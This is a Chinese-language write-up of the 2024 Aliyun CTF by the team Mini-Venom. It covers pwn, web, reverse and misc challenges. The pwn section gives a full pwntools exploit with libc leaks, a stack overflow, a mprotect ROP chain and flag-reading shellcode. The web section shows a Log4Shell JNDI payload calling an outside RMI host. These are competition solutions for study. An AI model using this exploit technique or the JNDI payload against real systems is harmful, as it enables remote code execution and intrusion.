2024阿里CTF WriteUp By Mini-Venom

WriteUp 1个月前 admin
79 0 0

2024阿里CTF  WriteUp By Mini-Venom

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

 

Pwn

pwn签到

两个重要的全局变量dword_6080和dword_66E0,本质上是两个数组 dword array[15]
sub_19D6()函数里每次都会更新ptr指针,更新完之后会给起始地址为dword_66E0的变量赋值,所赋的值用来实现sub_2F1D()里不同的功能。dword_6080变量形成的数组是混淆视听的,没有用
利用ptr残留地址泄露libc基地址,下面顺便泄露了下heap base,不过后来没用到

#malloc 0x20 &show(ptr)
n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0
shownum(n1)

add(0x20,b‘a’*0x10,n1)
cmd(2)

heap_base = u64(rl().strip(b‘n’)[-6:].ljust(8,b‘x00’))-0x290
lg(‘heap base: ‘,heap_base)

#show(ptr)
n1[0] = 0
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

add(0x10,b‘a’,n1)
cmd(2)

libc.address = u64(rl().strip(b‘n’)[-6:].ljust(8,b‘x00’))-0x1ebb61-0x1000
lg(‘libc base: ‘,libc.address)

下面是打印功能的实现条件

n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

有了libc基地址之后,利用栈溢出,使用mprotect函数开一篇rwx区域,执行read数据,然后shellcode拿flag。
栈溢出存在于sub_20F7()

__int64 sub_20F7()
{
  int i; // [rsp+8h] [rbp-118h]
  int v2; // [rsp+Ch] [rbp-114h]
  char v3[264]; // [rsp+10h] [rbp-110h] BYREF overflow
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts(“xmki”);
if ( dword_66E4 > dword_6714 )
{
if ( dword_66E8 > dword_6708 )
{
read(0, byte_60C0, 0x200uLL);//        here
if ( dword_6080 > dword_608C )
dword_6094 = dword_608C;
else
dword_608C = dword_609C;
if ( dword_6094 > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_608C;
if ( dword_66EC != dword_670C )
{
if ( dword_66F0 > dword_6710 )
{
if ( dword_66F4 < dword_6718 && dword_66F8 + dword_66FC > dword_6700 + dword_6704 )
{
if ( dword_6080 > dword_6088 )
dword_6094 = dword_6088;
else
dword_6090 = dword_609C;
if ( (dword_6094 > dword_6088 || dword_609C <= dword_6088) && dword_6094 > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_6094;
v2 = snprintf(byte_63E0, 0xAuLL, “%s”, byte_60C0);// overflowhere
for ( i = 0; i < v2; ++i )
{
if ( dword_60A8 > dword_608C )
dword_6094 = dword_6088;
else
dword_6090 = dword_609C;
if ( (dword_608C > dword_6088 || dword_609C <= dword_60A0) && dword_6094 > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_6088;
__isoc99_scanf(“%d”, &v3[4 * i]);
if ( dword_6080 > dword_608C )
dword_6094 = dword_6088;
else
dword_6090 = dword_6088;
if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_6094;
}
return 0LL;
}
if ( dword_6080 > dword_608C )
dword_6094 = dword_6088;
else
dword_6090 = dword_6088;
if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_6094;
}
sub_2CFB();
}
sub_1ED8(ptr);
return 0LL;
}
sub_2907();
}
if ( dword_6080 > dword_608C )
dword_6094 = dword_6088;
else
dword_6090 = dword_609C;
if ( (dword_6094 > dword_6088 || dword_609C <= dword_6098) && dword_6094 > dword_608C )
dword_6094 = dword_6088;
else
dword_60A0 = dword_6094;
sub_2514();
return 0LL;
}

snprintf()返回值由第四个参数决定,因此还需要读0x200的数据到0x60c0处

#mid edit & stack overflow
n1[0] = 0   
n1[15] = 4

n1[1] = 4
n1[13]= 0

n1[2] = 4
n1[10] = 0

n1[3] = 1
n1[11] = 0

n1[4] = 1
n1[12] = 0

n1[5]=0
n1[14]=1

n1[6]=n1[7]=1
n1[8]=n1[9]=0

add(0x20,b‘a’*0x10,n1)
cmd(2)
sla(b‘xmki’,b‘a’*0x200)

# pause()
for i in range(0x42):
pl = str(0x62626262)
sl(pl)
sl(“-“)
sl(“-“)
sl(str(0x62626262))
sl(str(0x62626262))

mprotect = libc.sym[‘mprotect’]
read64 = libc.sym[‘read’]
open64 = libc.sym[‘open’]
write64 = libc.sym[‘write’]
flag_addr = heap_base+0x2a0
addr = libc.sym[‘__free_hook’] & ~0xfff
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_rbx = libc.address + 0x000000000015fae6

rop =  p64(pop_rdi) + p64(addr)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect)
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(addr)
rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0)
rop += p64(read64) + p64(addr)

for i in range(0,len(rop),4):
n = u32(rop[i:i+4])
sl(str(n))

for _ in range(0x200-0x42-4-(len(rop) // 4)):
sl(str(0x62626262))

sh = shellcraft.open(‘/flag.txt’)
#  shellcraft.read(3,addr+0x300,0x400) +
#  shellcraft.write(1,addr+0x300,0x100)

sh +=

mov rdi, 3
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv
pop rax
syscall

push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall

shellcode = asm(sh)

exp

#writen by flyyy
from pwn import *
from ctypes import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level=“debug”
context(arch=‘amd64’, os=‘linux’)
context.terminal = [‘tmux’,‘splitw’]

file = b‘vuln’
# p = process(file)
p = remote(‘pwn0.aliyunctf.com’,9999)
libc = ELF(‘./libc-2.31.so’)

#——————————————————————-
s    = lambda       x:  p.send(x)
sa   = lambda     x,y:  p.sendafter(x,y)
sl   = lambda       x:  p.sendline(x)
sla  = lambda     x,y:  p.sendlineafter(x,y)

ru   = lambda     x  :  p.recvuntil(x)
rl   = lambda        :  p.recvline()
pid  = lambda        :  log.success(“pid: “ + str(proc.pidof(p)))
lg   = lambda     x,y:  log.success(x + str(hex(y)))
itr  = lambda        :  p.interactive()
a    = lambda        :  gdb.attach(p)
#——————————————————————-

def cmd(a):
sla(b‘hhhn’,str(a).encode())

def getnum():
libc = cdll.LoadLibrary(‘/lib/x86_64-linux-gnu/libc.so.6’)
seed = libc.time(0)
libc.srand(seed)
num = []
for i in range(16):
num.append(libc.rand()%256)
return num

def shownum(num):
count = 0
for n in num:
print(+str(count) + ‘: ‘+str(hex(n)))
count += 1

def add(size,cont,num):
cmd(1)
sla(b‘???n’,str(size).encode())
sl(cont)
ru(b‘Lucky Numbersn’)
for i in range(16):
time.sleep(0.05)
sl(str(n1[i]))

#shwo rand num
n = []
n = getnum()
shownum(n)

n1 = []
n1 = n

#malloc 0x20 &show(ptr)
n1[0] = 0
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0
shownum(n1)

add(0x20,b‘a’*0x10,n1)
cmd(2)

heap_base = u64(rl().strip(b‘n’)[-6:].ljust(8,b‘x00’))-0x290
lg(‘heap base: ‘,heap_base)

#show(ptr)
n1[0] = 0
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

add(0x10,b‘a’,n1)
cmd(2)

libc.address = u64(rl().strip(b‘n’)[-6:].ljust(8,b‘x00’))-0x1ebb61-0x1000
lg(‘libc base: ‘,libc.address)

#mid edit & stack overflow
n1[0] = 0
n1[15] = 4

n1[1] = 4
n1[13]= 0

n1[2] = 4
n1[10] = 0

n1[3] = 1
n1[11] = 0

n1[4] = 1
n1[12] = 0

n1[5]=0
n1[14]=1

n1[6]=n1[7]=1
n1[8]=n1[9]=0

add(0x20,b‘a’*0x10,n1)
cmd(2)
sla(b‘xmki’,b‘a’*0x200)

# pause()
for i in range(0x42):
pl = str(0x62626262)
sl(pl)
sl(“-“)
sl(“-“)
sl(str(0x62626262))
sl(str(0x62626262))

mprotect = libc.sym[‘mprotect’]
read64 = libc.sym[‘read’]
open64 = libc.sym[‘open’]
write64 = libc.sym[‘write’]
flag_addr = heap_base+0x2a0
addr = libc.sym[‘__malloc_hook’] & ~0xfff
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_rbx = libc.address + 0x000000000015fae6

rop =  p64(pop_rdi) + p64(addr)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect)
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(addr)
rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0)
rop += p64(read64) + p64(addr)

for i in range(0,len(rop),4):
n = u32(rop[i:i+4])
sl(str(n))

for _ in range(0x200-0x42-4-(len(rop) // 4)):
sl(str(0x62626262))

sh = shellcraft.open(‘./flag.txt’)
#  shellcraft.read(3,addr+0x300,0x400) +
#  shellcraft.write(1,addr+0x300,0x100)

sh +=

mov rdi, 3
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv
pop rax
syscall

push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall

# print((hex(len(sh))))#0x39
shellcode = asm(sh)

# pause()
s(shellcode)
# a()
p.interactive()
#aliyunctf{ff81a2c6-386e-4beb-aab8-0490297d244b}

Web

签到

-f /file 这样可以读文件

easyCAS

登录那里抓包,username给这个就行
username=${jndi:rmi://114.67..:1099/localExploitel}
打tomcat本地工厂类bypass即可。

2024阿里CTF  WriteUp By Mini-Venom

Reverse

欧拉

import copy
flag = [0 for i in range(19)]
flag[0] = -1 # 数组从下标1开始,flag[0]不使用
flag[15] = 7
flag[18] = 4

maze = [
0, 0, 1, 0, 0, 1, 0, 0, 1,
0, 0, 0, 1, 1, 1, 0, 0, 1,
1, 0, 0, 1, 0, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 0, 1,
0, 1, 0, 1, 0, 0, 1, 0, 0,
1, 1, 0, 0, 0, 0, 1, 0, 1,
0, 0, 1, 0, 1, 1, 0, 0, 1,
0, 0, 1, 0, 0, 0, 0, 0, 1,
1, 1, 0, 1, 0, 1, 1, 1, 0, ]
# print(maze)

def judge(n, f):
if f[2]<=f[3] and n<=2:
return False
if f[4]>=f[5] and n<=4:
return False
if f[1]!=f[9] and n<=1:
return False
# if f[16]!=f[12] and n<=12:
#     return False
if f[11]<=f[6] and n<=11:
return False
if f[4]>=f[14] and n<=4:
return False
if f[8]>=f[5] and n<=5:
return False
return True

def search(n, f, maze):
if n == 1 and judge(n,f) == True:
# 推完前15位后,处理16、17位
f[16] = f[12]
if maze[f[15]*9+f[16]] != 1:
return
# 枚举第17位
for i in range(9):
index = f[16] * 9 + i
if maze[index] == 1 and maze[i * 9 + f[18]] == 1:
f[17] = i
print(‘aliyunctf{‘ + .join([str(ch) for ch in f[1:]]) + ‘}’)
if judge(n, f) == False:
return
for i in range(9):
index = i * 9 + f[n]
index_2 = f[n] * 9 + i
if maze[index] is 1:
new_maze = copy.deepcopy(maze)
new_f = copy.deepcopy(f)
new_f[n-1] = i
new_maze[index] = 0
new_maze[index_2] = 0
search(n-1, new_f, new_maze)

# 递归,从第15位开始回推,搜索所有可能性
search(15, flag, maze)

# aliyunctf{085134620568327814}

Misc

帕鲁情绪管理

爆破第一步脚本

import hashlib
import itertools

target_hash = “b109c4f6ca9eb69448b4f0b58111163babbdff46a2be758ef8606ea42c6625d0”
prefix = “pxf4rg2tpiizdgr3rpk21strcept”

charset = “abcdefghijklmnopqrstuvwxyz0123456789”
combinations = itertools.product(charset, repeat=4)

for combination in combinations:
attempt = prefix + “”.join(combination)
hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()
if hashed_attempt == target_hash:
print(“found:”, attempt)
break

让ChatGPT写了个简单的模型

  • 数据集https://www.kaggle.com/datasets/crowdflower/twitter-airline-sentiment/data
  • 准确率不高,反正试了几次也出了
######################训练模型##############################################
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.metrics import accuracy_score, classification_report

# 加载数据集
data = pd.read_csv(“Tweets.csv”)

# 只选择文本和标签列
data = data[[‘text’‘airline_sentiment’]]

# 划分数据集为训练集和测试集
X_train, X_test, y_train, y_test = train_test_split(data[‘text’], data[‘airline_sentiment’], test_size=0.2, random_state=42)

# 将文本转换为TF-IDF特征向量
vectorizer = TfidfVectorizer(max_features=5000, ngram_range=(1,2), stop_words=‘english’)
X_train_vec = vectorizer.fit_transform(X_train)
X_test_vec = vectorizer.transform(X_test)

# 使用线性支持向量机分类器进行情绪预测
svm_classifier = LinearSVC()
svm_classifier.fit(X_train_vec, y_train)

########################################################################################
from pwn import *
import itertools
import hashlib
import re
import csv

context.log_level = ‘debug’

charset = “abcdefghijklmnopqrstuvwxyz0123456789”
combinations = itertools.product(charset, repeat=4)

conn = remote(‘misc0.aliyunctf.com’, 9999)
sha256_line = conn.recvline()
prefix = (sha256_line[9:37]).decode(encoding=‘utf-8’)
target_hash = (sha256_line[61:-1]).decode(encoding=‘utf-8’)

conn.recvuntil(b‘Please input the answer: ‘)

# 枚举四位可见字符
payload = “”
for combination in combinations:
attempt = prefix + “”.join(combination)
hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()
if hashed_attempt == target_hash:
print(“found:”, attempt)
payload = “”.join(combination)
break
conn.sendline(payload)
conn.recvuntil(b‘Do you want to training? (y/n) ‘)
conn.sendline(b‘y’)
conn.recvuntil(b‘ow, Do you want to start challenge? (y/n) ‘)
conn.sendline(b‘y’)

for i in range(15):
round_line = (conn.recvline()).decode(encoding=‘utf-8’)
pattern = r“text: @(.+)”
search_result = re.search(pattern, round_line)
test_words = search_result.group(1)
log.success(test_words)

text_to_predict = [test_words]
text_to_predict_vec = vectorizer.transform(text_to_predict)
predicted_sentiment = svm_classifier.predict(text_to_predict_vec)
res = predicted_sentiment[0]
log.success(res)
conn.sendline(res)

# Congratulations! You have passed the challenge!
# Here is the flag: aliyunctf{N0_0N3_knOW_5ent1M3Nt_An41Y2E_7H4n_Y0u}

– END –

2024阿里CTF  WriteUp By Mini-Venom

 

原文始发于微信公众号(ChaMd5安全团队):2024阿里CTF WriteUp By Mini-Venom

版权声明:admin 发表于 2024年3月26日 上午10:01。
转载请注明:2024阿里CTF WriteUp By Mini-Venom | CTF导航

相关文章